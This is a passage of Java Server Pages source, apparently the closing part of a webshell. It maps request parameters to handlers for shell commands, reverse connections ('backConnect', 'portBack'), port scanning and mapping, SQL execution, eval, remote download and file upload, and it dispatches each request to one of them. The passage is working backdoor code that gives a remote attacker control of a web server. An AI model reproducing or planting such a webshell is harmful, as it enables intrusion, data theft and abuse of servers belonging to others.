3191JSession.setAttribute(MSG,"Remove Attribute Success !");
3192}
3193((Invoker)ins.get("vother")).invoke(request,response,JSession);
3194} catch (Exception e) {
3195
3196throw e ;
3197}
3198}
3199}
3200
3201static{
3202ins.put("script",new ScriptInvoker());
3203ins.put("before",new BeforeInvoker());
3204ins.put("after",new AfterInvoker());
3205ins.put("deleteBatch",new DeleteBatchInvoker());
3206ins.put("clipboard",new ClipBoardInvoker());
3207ins.put("vPortScan",new VPortScanInvoker());
3208ins.put("portScan",new PortScanInvoker());
3209ins.put("vConn",new VConnInvoker());
3210ins.put("dbc",new DbcInvoker());
3211ins.put("executesql",new ExecuteSQLInvoker());
3212ins.put("vLogin",new VLoginInvoker());
3213ins.put("login",new LoginInvoker());
3214ins.put("filelist", new FileListInvoker());
3215ins.put("logout",new LogoutInvoker());
3216ins.put("upload",new UploadInvoker());
3217ins.put("copy",new CopyInvoker());
3218ins.put("bottom",new BottomInvoker());
3219ins.put("vCreateFile",new VCreateFileInvoker());
3220ins.put("vEdit",new VEditInvoker());
3221ins.put("createFile",new CreateFileInvoker());
3222ins.put("vEditProperty",new VEditPropertyInvoker());
3223ins.put("editProperty",new EditPropertyInvoker());
3224ins.put("vs",new VsInvoker());
3225ins.put("shell",new ShellInvoker());
3226ins.put("down",new DownInvoker());
3227ins.put("vd",new VdInvoker());
3228ins.put("downRemote",new DownRemoteInvoker());
3229ins.put("index",new IndexInvoker());
3230ins.put("mkdir",new MkDirInvoker());
3231ins.put("move",new MoveInvoker());
3232ins.put("removedir",new RemoveDirInvoker());
3233ins.put("packBatch",new PackBatchInvoker());
3234ins.put("pack",new PackInvoker());
3235ins.put("unpack",new UnPackInvoker());
3236ins.put("vmp",new VmpInvoker());
3237ins.put("vbc",new VbcInvoker());
3238ins.put("backConnect",new BackConnectInvoker());
3239ins.put("jspEnv",new JspEnvInvoker());
3240ins.put("smp",new SmpInvoker());
3241ins.put("mapPort",new MapPortInvoker());
3242ins.put("top",new TopInvoker());
3243ins.put("vso",new VOnLineShellInvoker());
3244ins.put("online",new OnLineInvoker());
3245ins.put("enter",new EnterInvoker());
3246ins.put("export",new ExportInvoker());
3247ins.put("ev",new EvalInvoker());
3248ins.put("eu",new EvalUploadInvoker());
3249ins.put("vother",new VOtherInvoker());
3250ins.put("sm",new SmInvoker());
3251ins.put("vExport",new VExport2FileInvoker());
3252ins.put("vPack",new VPackConfigInvoker());
3253ins.put("reflect",new ReflectInvoker());
3254ins.put("portBack",new PortBackInvoker());
3255}
3256%>
3257<%
3258try {
3259String o = request.getParameter("o");
3260if (Util.isEmpty(o)) {
3261if (session.getAttribute(SESSION_O) == null)
3262o = "index";
3263else {
3264o = session.getAttribute(SESSION_O).toString();
3265session.removeAttribute(SESSION_O);
3266}
3267}
3268Object obj = ins.get(o);
3269if (obj == null) {
3270response.sendRedirect(SHELL_NAME);
3271} else {
3272 Invoker in = (Invoker)obj;
3273if (in.doBefore()) {
3274String path = request.getParameter("folder");
3275if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
3276session.setAttribute(CURRENT_DIR,path);
3277((Invoker)ins.get("before")).invoke(request,response,session);
3278((Invoker)ins.get("script")).invoke(request,response,session);
3279((Invoker)ins.get("top")).invoke(request,response,session);
3280}
3281in.invoke(request,response,session);
3282if (!in.doAfter()) {
3283return;
3284}else{
3285((Invoker)ins.get("bottom")).invoke(request,response,session);
3286((Invoker)ins.get("after")).invoke(request,response,session);
3287}
3288}
3289} catch (Exception e) {
3290Object msg = session.getAttribute(MSG);
3291if (msg != null) {
3292Util.outMsg(out,(String)msg);
3293session.removeAttribute(MSG);
3294}
3295if (e.toString().indexOf("ClassCastException") != -1) {
3296Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
3297}
3298ByteArrayOutputStream bout = new ByteArrayOutputStream();
3299e.printStackTrace(new PrintStream(bout));
3300session.setAttribute(CURRENT_DIR,SHELL_DIR);
3301Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
3302bout.close();
3303out.flush();
3304((Invoker)ins.get("bottom")).invoke(request,response,session);
3305((Invoker)ins.get("after")).invoke(request,response,session);
3306}
3307%>